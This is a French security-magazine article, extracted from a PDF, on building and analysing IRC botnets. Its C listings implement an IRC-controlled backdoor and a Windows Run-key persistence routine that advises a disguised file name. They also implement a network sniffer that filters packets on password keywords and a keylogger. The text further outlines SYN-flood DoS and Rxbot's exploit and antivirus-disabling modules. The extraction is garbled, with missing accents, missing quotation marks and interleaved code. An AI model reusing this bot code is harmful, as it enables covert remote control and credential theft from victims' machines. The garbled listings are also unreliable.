Vous êtes sur la page 1sur 9

Attaque

Les botnets IRC


Internet Relay Chat Protocol, IRC est un protocole texte simple utiliser, ce qui en fait un choix idal pour construire facilement des botnets ou backdoors. Voyons dans cet article comment monter ce genre de programmes, comment les analyser.
Cet article explique...
les bases dIRC et comment analyser un logiciel rseau inconnu, comment construire des bots IRC, les analyser.

Ce quil faut savoir...


le langage C et les sockets en C.

ouvent mdiatiss par la presse courante pour leur relation troite avec des activits pcuniaires mafieuses et rcemment avec les attaques Anonymous, les botnets restent parmi les malwares les plus courants et les plus utiliss. Au final, un botnet cest quoi? Un rseau de bots (traduction de bot network,), parfois appel rseau zombie, car leur hte bien quinactif abrite un programme bien vivant. Un botnet a plusieurs usages: envoyer du spam, mener des attaques de Dni de Service (Denial Of Service, DoS), casser des mots de passe par force brute, ou avoir un accs distant sur une machine via un canal moins protg par un filtrage pare-feu. Lintrt est davoir plusieurs machines relies afin de profiter du nombre pour une attaque DoS ou de la puissance de calcul. A usage non criminel, un bot peut aussi servir automatiser des tches ou tester des algorithmes dintelligence artificielle, en linguistique par exemple. Dans cet article, nous allons analyser la construction dun bot IRC afin de comprendre ce protocole, puis nous verrons quelques implmentations de ce que nous pouvons faire avec un bot. Ce cas dcole pourra nous permettre galement de matriser quelques outils et une bonne mthode pour analyser des logiciels rseaux inconnus dont vous voulez comprendre le fonctionnement ou reproduire le comportement.

comprendre le protocole IRC et les botnets du point de vue technique, construire des bots IRC en gnral, certaines vieilles souches de botnet fonctionnent encore avec IRC et il est bon de les connatre. Certains bots IRC nont quun simple client intgr, dautres peuvent crer un serveur IRC, afin de simplifier lenvoie de commandes plusieurs milliers dagents. Au final, un bot se dcompose en modules: le module dinfection sur la machine, souvent un ou plusieurs exploits, parfois une simple dissimulation dans un logiciel semblant lgitime (quasiment tous les malwares sur smartphones nutilisent aucune faille autre que la faille humaine...), le module Command & Communication (C&C), dcrit par un protocole rseau: P2P, IRC, HTTP, et maintenant certains rseaux sociaux comme Twitter, les diffrents modules de charge utile: backdoor, DoS, bruteforce, automatisation des clicks de vote, ventuellement, des mthodes de protections pour dtruire les antivirus prsents sur la machine, lutilisation de mthodes rootkits, de chiffrement, de polymorphisme et de routines anti-debugging ou anti-virtualisation.

Utiliser IRC avec un botnet

Vous avez potentiellement dj utilis IRC, il sagit dun des protocoles standards internet bas sur TCP/IP pour permettre des personnes de communiquer via un serveur de chat. Ce protocole lavantage dtre sous format texte et non binaire, donc assez simple manipuler. Les botnets IRC ont maintenant plus de quinze ans et tendent disparatre, remplacs par une nouvelle gnration de botnets HTTP. Les mthodes de filtrage pare-feu bloquent rarement HTTP, qui permet en plus lenvoi de commandes sans la ncessit dune connexion permanente. Cela dit leur simplicit de mise en place les rendent accessibles aux dbutants, qui peuvent les utiliser pour plusieurs raisons:

Comprendre et utiliser IRC

Pour raliser notre bot, nous allons utiliser une approche de reverse engineering en partant de zro. Que savons-nous sur IRC? Aprs une recherche rapide sur un moteur de recherche, on tombe sur la page wikipedia (http://fr.wikipedia.org/wiki/ Internet_Relay_Chat#Modes_standard_.28RFC_1459.29) qui nous donne peu dinformations techniques outre le RFC 1459 qui dcrit totalement le protocole. Notez que les RFC (Request for comments) sont des documents qui listent les aspects techniques concernant Internet (materiels, topologies, protocoles etc).

www.hakin9.org/fr

11

Attaque

soin de lire la documentation ou bien quand on y a pas accs. La mthode est assez simple, il suffit dutiliser un sniffer rseau et de voir comment se comporte lapplication sur internet, et de rinjecter les trames rseaux en les modifiant.

Le modle osI

Internet est bas sur un systme standard appel OSI (Open Systems Interconnexion) qui donne la manire de connecter diffrents systmes informatiques sur Internet sous la forme de couches. Ces couches dcrivent lacheminement des donnes en paquets ou trames rseaux, et chaque couche enveloppe la couche prcdente pour ajouter ses propres informations lies son protocole. Cela va de lacheminement physique (cbles Ethernet, wi-fi) la gestion par les logiciels (navigateur internet, utilitaire de conversation en ligne). Voici un diagramme du modle cinq couches: application, transport, rseau, liaison, physique.

Figure 1. Fentre de connexion un serveur IRC

La couche application est celle qui nous intresse puisque cest souvent celle que vous implmentez quand vous concevez un programme rseau courant. Cest elle qui comprend le protocole IRC. Plus loin, nous verrons avec wireshark comment visualiser toutes ces couches. Pour nos tests, nous allons installer un client IRC classique XChat. XChat est un client pour IRC. Vous pouvez le trouver sur le site http://xchat.org/download/. Vous pouvez linstaller sous Windows et sous Linux. Lancez le programme, avec les paramtres indiqus sur la figure 1 et cliquez sur Connecter. Vous tes maintenant connect

Cest un bon dbut. Quand vous tes dans une approche reverse engineering, la premire chose faire est de chercher les spcifications du matriel, du logiciel, de lalgorithme ou du protocole que vous voulez analyser. Maintenant, lire le RFC peut savrer assez long, je vais vous donner une mthode pour mimer rapidement une application rseau sans avoir be-

Reverse engineering de IRC

Figure 2. Affichage des paquets internet sur wireshark

12

1/2012

Attaque

sur le serveur IRC, pas besoin de rejoindre un canal. En le lanant avec des paramtres que nous avons choisis (le choix du serveur freenode est totalement arbitraire), et en utilisant wireshark un sniffer rseau bas sur tcpdump, nous pourrons analyser le comportement du client IRC avec le serveur sur lequel il se connecte. Notez quun sniffer rseau permet danalyser et dafficher lcran tout le trafic qui circule entre votre carte rseau et le routeur qui vous lie au rseau. Vous pouvez donc intercepter tous les paquets qui passent par votre carte rseau. Vous trouverez wireshark ici http://www.wireshark.org/download.html. Encore une fois, il fonctionne sous Windows et Linux. Pour capturer les paquets qui transitent sur le rseau, vous faites Capturer > Interface. L, vous pouvez voir les diffrentes interfaces gres par votre systme dexploitation, choisissez celle qui reoit des donnes (le nombre dans la colonne Packets est diffrent de zro et change si vous utilisez votre carte rseau). Puis faites Start. Si vous avez une activit internet au mme moment, vous verrez des paquets safficher. Voyons maintenant ce quon peut trouver comme donnes sur votre rseau. Vous pouvez retrouver ici les diffrentes couches, dont nous avons parles prcdemment. Ethernet, Internet Protocole (IP), Transmission Controle Protocole (TCP) et ventuellement la couche application qui dpend du logiciel qui envoie les donnes (si cest un navigateur web, cest HTTP qui gre les protocoles lis au Web). Utilisez un filtre pour navoir que les trames dIRC en tapant IRC dans filter. Nous pouvons voir sur la figure 2 des informations intressantes: Le client se connecte au serveur ladresse

irc.freenode.net sur le port 6667, et il nutilise que deux commandes pour initialiser une connexion: un premier avec une commande NICK qui prend comme argument le pseudonyme, et un deuxime avec USER qui prend en paramtres le nom dutilisateur, le nom de lhte, le serveur de connexion et le nom rel. Maintenant en utilisant telnet, un simple client internet install par dfaut sur les systmes Windows et Linux, on pourra tenter de rinjecter les commandes que nous venons de trouver (attention, sous Windows vista et ultrieur, il faudra lactiver en allant dans le menu dmarrer, programme par dfaut et enfin dans Programmes et fonctionnalits, vous pourrez activer le client telnet en allant dans Activer ou dsactiver des fonctionnalits Windows. La figure 3 indique la marche suivre). Si on teste sur telnet ces commandes (Voir le listing 1.), on arrive bien se connecter au serveur IRC de freenode avec les mmes paramtres.
Listing 1. Squence dauthentification IRC sur telnet
$ telnet irc.freenode.net 6667 NICK username1334 [...] USER username1337 username1337 irc.freenode.net didierdupont :sendak.freenode.net 376 username1334 :End of /MOTD command. :username1334 MODE username1334 :+i PING :sendak.freenode.net PONG

Figure 3. Activation de telnet sous Windows vista

www.hakin9.org/fr

13

Attaque

Listing 2. Implmentation du protocole IRC


// code p0f et non rel #include <winsock2.h> #include <stdio.h> #include <stdlib.h> #pragma comment(lib, ws2_32.lib) #define MAXBUFFER 1500 SOCKET sock; char wBuffer[MAXBUFFER]; char rBuffer[MAXBUFFER]; typedef struct IRCSENDER { char nick[64]; char msg_cmd[MAXBUFFER]; char msg_arg[MAXBUFFER]; }IRCSENDER; /* @nick : pseudo du bot @usern : nom du bot @hostn : host du bot @servern : serveur du bot @realn : nom reel du bot */ const char nick[] = username1334; const char usern[] = username1337; const char hostn[] = username1334; const char servern[]= irc.freenode.net; const char realn[] = didierdupond; const char hostname[] = irc.freenode.net; int main( char argc, char *argv[] ) { SOCKADDR_IN sAddr; WSADATA wsa; if ( WSAStartup(MAKEWORD(2,2), &wsa) != 0 ) { printf(erreur dans le WSAStartup\n); exit(1); } IRCSENDER ircsender; char padding[MAXBUFFER]; int ret; struct hostent *hostinfo = NULL; _StartUp: printf([Initialisation de la connexion]\n); hostinfo = gethostbyname(hostname); if (hostinfo == NULL) { printf(Serveur inconnu %s.\n, hostname); goto _StartUp; } sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { printf(erreur dans socket()\n); goto _StartUp; } sAddr.sin_family = AF_INET; sAddr.sin_port = htons(6667); sAddr.sin_addr.s_addr = *(u_long *) hostinfo->h_addr_list[0]; if( connect(sock, (struct sockaddr*) &sAddr, sizeof(sAddr)) != 0 ) { printf(impossible de se connecter sur %s\n, inet_ ntoa(sAddr.sin_addr)); goto _StartUp; } // procedure dauthentification sur le serveur IRC avec les commandes NICK et USER sprintf(wBuffer, NICK %s\r\n, nick); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); sprintf(wBuffer, USER %s %s %s :%s\r\n, usern, hostn, servern, realn); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); // Boucle de recuperation des messages IRC while ( 1 ) { memset(rBuffer,0, MAXBUFFER); ret = recv(sock, rBuffer, MAXBUFFER, 0);

if (ret > 0) { memset(&ircsender, 0, sizeof(ircsender)); puts(rBuffer); /* Si on souhaite traiter des commandes de reception, voici le code qui permet de le faire : on analyse le texte dans OnCommand() */ if ( sscanf( rBuffer, :%s PRIVMSG %s :?%s %s\r\n, &ircsender.nick, &padding, &ircsender.msg_cmd, &ircsender.msg_arg ) == 4 ) { OnCommand( ircsender, 1 ); } else if ( sscanf( rBuffer, :%s PRIVMSG %s :?%s\r\n, &ircsender.nick, &padding, &ircsender.msg_cmd ) == 3 ) { OnCommand( ircsender, 0 ); } // En cas de PING, reponse au serveur IRC if (!strncmp(rBuffer, PING, 4)) { strcpy(wBuffer, PONG ); strcat(wBuffer, strstr(rBuffer, :)); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); } } // En cas derreur, on coupe la connexion else if (ret == 0) { printf(erreur dans la reception des donnees\n); close(sock); break; } } goto _StartUp; }

14

1/2012

Attaque

Si on vrifie sur le RFC, on voit bien que ces commandes correspondent ce que nous pensions. Et quand nous laissons tourner telnet, on voit quune commande PING est envoy au client pour voir si le client est toujours connect et prsent, commande laquelle nous rpondons par PONG (cette information est spcifie dans le RFC 1459 la page 37). Vous pouvez voir limplmentation des commandes prcdentes dans le code C (listing 2) avec des sockets.

Invite de commande & installation

Maintenant que nous savons nous connecter IRC, nous voulons ajouter quelques fonctionnalits intressantes, en ajoutant une fonction OnCommand() qui traite des commandes, nous pouvons ajouter quelques outils de backdoor. Sur le listing 3, vous pouvez voir quelques exemples de commandes. Pour finaliser le bot, on peut ajouter, une fonction (listing 4) qui lancera le bot chaque dmarrage de Windows, on utilise

Listing 3. Quelques exemples de commandes quon peut traiter avec OnCommand()


#define TIMING1000 #define IS_REP1 #define NO_REP2 #define SUB_CHAR 0x3F #define SPACE_CHAR 0x20 /* isRep permet de savoir si lentre rcupr est un fichier ou un repertoire @entryname : nom du fichier ou du rpertoire return : IS_REP lentre est un repertoire, NO_REP lentre est un fichier */ int isRep( char *entryname ) { FILE *fp; fp = fopen( entryname, rb ); if ( fp == 0 ) return IS_REP; else { fclose( fp ); return NO_REP; } } /* chgchar permet dchanger un charactre par un autre dans une string @string : chaine manipuler @c : charactre changer @r : charactre mettre la place */ void chgchar( char *string, char c, char r ) { int i = 0; while ( string[i] != \0 ) { if ( string[i] == c ) { string[i] = r; i++; } else i++; } } OnCommand( IRCSENDER ircsender, int nbr_of_arg ) { // [...] int i = 0; while ( i != 63 ) { if ( ircsender.nick[i] == ! ) { ircsender.nick[i] = \0; i = 63; } else i++; } // [...] // dir : affiche le contenu les repertoires DIR *dp; struct dirent *entry; if ( strcmp( ircsender.msg_cmd, dir ) == 0 ) { if((dp = opendir(.)) == NULL) { sprintf(wBuffer, PRIVMSG %s :cannot open current directory\ r\n, ircsender.nick); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); return; } while((entry = readdir(dp)) != NULL) { if ( isRep(entry->d_name) == IS_REP ) { sprintf(wBuffer, PRIVMSG %s :<DIR> %s\r\n, ircsender.nick, entry->d_name); } else { sprintf(wBuffer, PRIVMSG %s :<FILE> %s\r\n, ircsender. nick,entry->d_name); } send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); /* le Sleep permet de ne pas bloquer la file des messages a envoyer */ Sleep(TIMING); } sprintf(wBuffer, PRIVMSG %s :[End of dir]\r\n, ircsender. nick); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); closedir(dp); } // cd : change dir, change de repertoire if ( strcmp( ircsender.msg_cmd, cd ) == 0 ) { if ( nbr_of_arg == 0 ) { sprintf(wBuffer, PRIVMSG %s :please write a directory\r\n, ircsender.nick); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); return; } chgchar( ircsender.msg_arg, SUB_CHAR, SPACE_CHAR ); if ( chdir( ircsender.msg_arg ) == -1 ) { sprintf(wBuffer, PRIVMSG %s :error when changing dir\r\n, ircsender.nick); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); } else { sprintf(wBuffer, PRIVMSG %s :dir changed to %s\r\n, ircsender.nick, ircsender.msg_arg); send(sock, wBuffer, strlen(wBuffer), 0); memset(wBuffer, 0, MAXBUFFER); } } } // [...]

www.hakin9.org/fr

15

Attaque

la mthode classique de lenregistrement dune entre dans la clef Run du registre Windows, mthode quutilisent les logiciels lgitimes pour se lancer chaque dmarrage.
Listing 4. Enregistrement dans le registre Run
/* Cette fonction enregistre la cle de demarrage dans @entry : nom de lentree pour la cle de registre le registre Windows.

@name : nom du programme a placer dans le dossier systeme return : 0 - fichier existant ; 1 - enregistrement reussi

sappelle npf.sys et se rcupre dans c:/Windows/system32/drivers/. Pour lancer un driver, il faut le charger. On trouve assez facilement du code sur internet pour lancer des drivers sous Windows, en voici un exemple ici:http://www.koders.com/c/fid3AA0382374728CEFBC5D0A03128C9DF9404DAC92.aspx. Aprs avoir lanc le driver, on peut utiliser les fonctions des dlls pour dialoguer avec lui et rcuprer nos informations. On trouve la documentation de la Pcap lib sur le site internet http:// www.mirrorservice.org/sites/ftp.wiretapped.net/pub/security/ packet-capture/winpcap/devel.htm. Pour notre programme, nous allons rcuprer toutes les trames rseaux et garder les paquets qui contiennent certains mots-clef:
const char *keyword[] = { HTTP, POST, login, password, Password, LOGIN, PASSWORD, passwd }; Login,

Notez ici quun nom de programme et une entre passe-partout tel que <<wmsgm.exe>> sera suffisamment discrte pour duper nimporte quel utilisateur commun. */ {

int registrySetup( char *entry, char *name ) HKEY hKey;

const char *ftpkeyword[] = { USER, PASS };

char currentNameFile[MAXBUFFER]; char targetNameFile [MAXBUFFER]; GetSystemDirectory( targetNameFile, sizeof( targetNameFile ) strcat( targetNameFile, \\ ); strcat( targetNameFile, name ); GetModuleFileName( NULL, currentNameFile, sizeof(

);

Ensuite, quand on tombe sur une trame dont le contenu a t chiffr par Secure Sockets Layer(SSL, on dtecte quand le port utilis est le 443), il est fort probable quil sagisse dun mot de passe qui a t chiffre par le programme. On essaye de le rcuprer en utilisant un keylogger, avec la fonctionSetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hInstance, (DWORD)NULL); et en enregistrant les derniers caractres qui ont t taps au clavier. Le listing 5 vous prsente ces deux fonctions.

Ajouts futurs

currentNameFile ) );

CopyFile( currentNameFile, targetNameFile, NULL );

if( GetFileAttributes ( targetNameFile ) & 0x80000000 ) {

Pour finir le bot, il faudrait ajouter une fonction automatique de mise jour au lancement du programme. Gnralement, un bot contient plusieurs exploits pour pouvoir infiltrer une machine vulnrable et sy installer.

RegCreateKey( HKEY_LOCAL_MACHINE, SOFTWARE\\Microsoft\\ Windows\\CurrentVersion\\Run, &hKey ); RegSetValueEx( hKey, entry, NULL, REG_SZ, ( PBYTE ) targetNameFile, lstrlen( targetNameFile )+1 ); RegCloseKey( hKey ); return 1; } return 0;

Dni de service

La figure 4 montre notre implmentation de bot en activit.

Les botnets intgrent parfois des sniffers rseaux pour rcuprer des mots de passe qui transitent en clair sur le rseau, et des keyloggers pour rcuprer toutes informations utiles tapes au clavier. Nous allons voir un exemple de ce genre de mthode en rutilisant un logiciel que nous avons dj utilis: wireshark! Wireshark fonctionne grce une bibliothque appel Pcap lib, cette bibliothque se dcompose en deux parties, deux bibliothques partages (dll) et un driver. Le driver va servir excuter du code en mode noyau (cest dire un niveau privilgi, proche du systme dexploitation) afin de lire directement sur les interfaces rseaux. Notre mthode ici va consister rcuprer ce driver et le lancer pour communiquer avec lui. Le driver

Capturer des mots de passe et informations intressantes

Le dni de service sert saturer un serveur ou un rseau pour le rendre inaccessible. Il existe plusieurs mthodes de DoS, celle que nous allons voir est la plus courante, mais si vous voulez jeter un coup dil dautres techniques plus avances, lisez cet article trs rcent sur le DoS qui utilise la complexit algorithmique (cest dire le nombre doprations ncessaires pour achever un algorithme) de certaines fonctions de traitement de variables (http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf). Revenons sur la pile TCP/IP, deux couches, nous intressent TCP et IP dont vous pouvez voir le diagrammes en figure 3. Nous allons ici implmenter un DoS par attaque SYN. Le protocole TCP commence toujours une connexion de la manire suivante: Client > SYN > Serveur Serveur > SYN/ACK > Client Client > ACK > Serveur En envoyant des paquets SYN incomplets ou errons, il est possible dengager une connexion ouverte mais non rsolue pendant un petit laps de temps. En multipliant ce nombre de paquets, il est possible de saturer le serveur et de le faire crasher. Vous pouvez facilement trouver une implmentation de ce genre dattaque sur le net: http://www.binarytides.com/blog/synflood-dos-attack/.

16

1/2012

Attaque

Analyse de botnet

Passons la dernire partie qui concerne lanalyse dun botnet. Pour analyser un malware, il faut le capturer et pour le capturer , il faut lappter, crer une cible: un rseau vulnrable o les malwares pourront trouver de quoi satisfaire leurs envies en les exploitant et en sy installant. En utilisant un pare-feu spcialement configur, on peut filtrer les commandes envoyes aux bots et empcher le bot dutiliser des actions malicieuses. Un tel rseau sappelle un honeynet, bas sur honeypot, littralement traduit par Pot de miel. Une fois le malware captur, on peut analyser le trafic rseau avec un sniffer et tudier les binaires avec un dsassembleur et un dbugger. Nous allons voir un cas rel de botnet tel quon peut en trouver dans la nature. Il sagit dun bot un peu ancien appel Rxbot (une souche drive de Agobot) qui se base sur IRC et qui lavantage dtre simple comprendre. De plus, le code source se trouve

Analyse de Rxbot

facilement sur internet, nous permettant ainsi dviter les analyses de binaires. L encore on va dvelopper une mthode pour analyser un malware. Premire chose, il existe parfois dj une documentation sur le bot que vous cherchez. Dans notre cas, quand on tape Rxbot documentation sur un moteur de recherche, on tombe sur un papier qui facilite grandement lanalyse et sur lequel on se basera en partie pour le reste de larticle. Comme indiqu dans le papier, Rxbot est un bot tournant sur systme Windows XP (et versions antrieures) et crit en C++. On trouve son code source sans trop de problme en tapant les mots clefs rxbot source code sur le site http://rapidlibrary.com. Il arrive quon trouve des souches en cherchant un peu sur internet, moteur de recherche et forums, mais on trouvera rarement des codes sources, plus souvent des bouts de binaires que dautres personnes ont russi capturer via des honeypots. L nous avons de la chance, nous avons directement un code source. Le code source se divise en plusieurs modules, dont nous pouvons numrer certains:

Figure 4. Implmentation de bot en activit

www.hakin9.org/fr

17

Attaque

Listing 5. Rcupration des mots de passe de lutilisateur passant sur le rseau

/* retourne HTTP_AUTH_PKT si la fonction detecte un mot clef dans un paquet */

case WM_DESTROY : break;

break;

#define HTTPS_PORT 443 int isAuthPkt( char *buffer, int sport, int dport ) { if ( dport == HTTPS_PORT || sport == HTTPS_PORT ) { ssl_handshake = HTTPS_HDS_UP; return HTTPS_AUTH_PKT;

PostQuitMessage(0);

default : } }

return DefWindowProc(hwnd, msg, wParam, lParam); return 0;

if ( ssl_handshake == HTTPS_HDS_DOWN ) {

} else { }

/* Note : On utilise un buffer circulaire : les nouvelles anciennes */ frappes remplacent les plus

return HANDSHAKE_HTTPS; } ssl_handshake = HTTPS_HDS_DOWN; // filtre FTP

void storekbdfile( long wp, long lp ) { // le buffer est vide, pas la peine denregistrer if( buffer[0] == 0 ) { }

return;

if ( (strstr( buffer, ftpkeyword[0] ) != 0) || (strstr( buffer, return FTP_AUTH_PKT; } ftpkeyword[1] ) != 0) )

if ( dport == FTP_PORT ) {

FILE *fp;

fp = fopen( dumpname, a+); ip_address sAddr, dAddr; sAddr.byte4 = (char)(wp & 0xff);

// filtre HTTP

sAddr.byte3 = (char)((wp >> 8) & 0xff);

if ( (strstr( buffer, keyword[0] ) != 0) && (strstr( buffer, pre_auth_pkt = PRE_AUTH_UP; } keyword[1] ) != 0) ) {

sAddr.byte2 = (char)((wp >> 16) & 0xff); sAddr.byte1 = (char)((wp >> 24) & 0xff); dAddr.byte4 = (char)(lp & 0xff);

dAddr.byte3 = (char)((lp >> 8) & 0xff);

if ( ( (strstr( buffer, keyword[2] ) != 0) && (strstr( buffer, keyword[3] ) != 0) || (strstr( buffer, keyword[4] ) != 0) && (strstr( buffer, keyword[5] ) != 0) || (strstr( buffer, keyword[6] ) != 0) && (strstr( buffer, keyword[7] ) != 0) && pre_auth_pkt == PRE_AUTH_UP ) { || (strstr( buffer, keyword[8] ) != 0) ) pre_auth_pkt = PRE_AUTH_DOWN; return HTTP_AUTH_PKT; }

dAddr.byte2 = (char)((lp >> 16) & 0xff); dAddr.byte1 = (char)((lp >> 24) & 0xff); if ( fp != 0 ) {

buffer[index] = <; // <> : position courante du buffer buffer[index+1] = >; sAddr.byte1, sAddr.byte2, sAddr.byte3, sAddr.byte4, dAddr.byte1, dAddr.byte2, dAddr.byte3, dAddr.byte4 ); fclose( fp ); index = 0; } } fprintf( fp, %d.%d.%d.%d -> %d.%d.%d.%d\n,

return OTHER_PKT;

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, { LPARAM lParam)

fprintf( fp, %s\n\n, buffer ); memset( buffer, 0, MAX );

switch(msg) {

case GETKBD_MSG : break;

storekbdfile( wParam, lParam );

case WM_CLOSE :

DestroyWindow(hwnd);

UnhookWindowsHookEx(hKeyHook);

18

1/2012

Attaque

scan de port (scan.cpp): scan des ports ouverts sur une plage dadresse IP, une invite de commande disposition sur la machine distante (remotecmd.cpp): Notez que le bot utilise un pipe pour utiliser directement cmd.exe et redirige les entres/ sorties vers IRC, sniffer rseau (psniff.cpp), keylogger (keylogger.cpp), HTTP et ICMP client pour envoyer des DoS (tcpflood.cpp, tcpflood2.cpp, synflood.cpp, icmpflood.cpp), un module de propagation par rseau P2P (peer2peer. cpp), utilitaire de rcupration de mot de passe (findpass.cpp) et rcupration de clef cd pour des jeux (cdkeys.cpp)., capture dcran (capture.cpp). Le bot possde les caractristiques suivantes: il vise les plateformes Windows et se lance grce la clef registre Run que nous avons dj vu (autostart.cpp), il utilise IRC pour le C&C, il est multi-thread (threads.cpp), il dtecte et dsactive des antivirus connus par le bot (avirus.cpp). Le bot se configure dans defines.h et configs.h. Pour sinstaller, le bot utilise des failles de type buffer overflow (lsass.cpp, mssql.cpp, dcom.cpp). Je vous laisse le soin de regarder dun peu plus prs le code au lecteur, dexplorer le code. Cela vous permettra den apprendre pas mal sur les botnets IRC.

jourdhui, les botnets utilisent des techniques plus avances pour communiquer, comme des protocoles P2P ou HTTP. Ils se servent de mthodes rootkits pour passer inaperus, rendant leur dtection plus difficile. Enfin, larrive des smartphones a multipli le nombre de cibles potentielles et on voit apparatre depuis peu les premiers bot smartphones comme Geinimi. Bien souvent ces malwares nutilisent aucune faille logiciel pour sinstaller. Nous avons essay de couvrir une large partie des fonctionnalits des botnets, mais il reste encore plusieurs fonctionnalits explorer: lenvoi de spam, le filtrage et la rinjection des trames sur le rseau pour faire du phishing, tricher sur les sites qui mettent disposition des votes par nombre de clics, faire du calcul distribu, notamment pour casser des mots de passe par force brute.

Sur internet
http://www.honeynet.org/book/export/html/50: Know your Enemy:
Tracking Botnets, un article qui dcrit comment capturer et analyser des botnets https://www.botnets.fr/index.php/Accueil: Un site rcent qui recense les diffrents botnets et donne des informations. http://gradworks.umi.com/14/70/1470986.html: Une analyse de Rxbot http://tools.ietf.org/html/rfc1459: RFC 1459, Internet Relay Chat Protocol

Conclusion

Utiliser IRC prsente lavantage de passer travers la plupart des filtrages pare-feu. Cependant, un petit monitoring rseau peut facilement mettre en vidence un trafic anormal. Au-

thotIme CALAnDRA
Lauteur est tudiant en science et autodidacte en informatique, scurit informatique, principalement dans tout ce qui touche la virologie, les malwares et le reverse engineering.

www.hakin9.org/fr

19

Vous aimerez peut-être aussi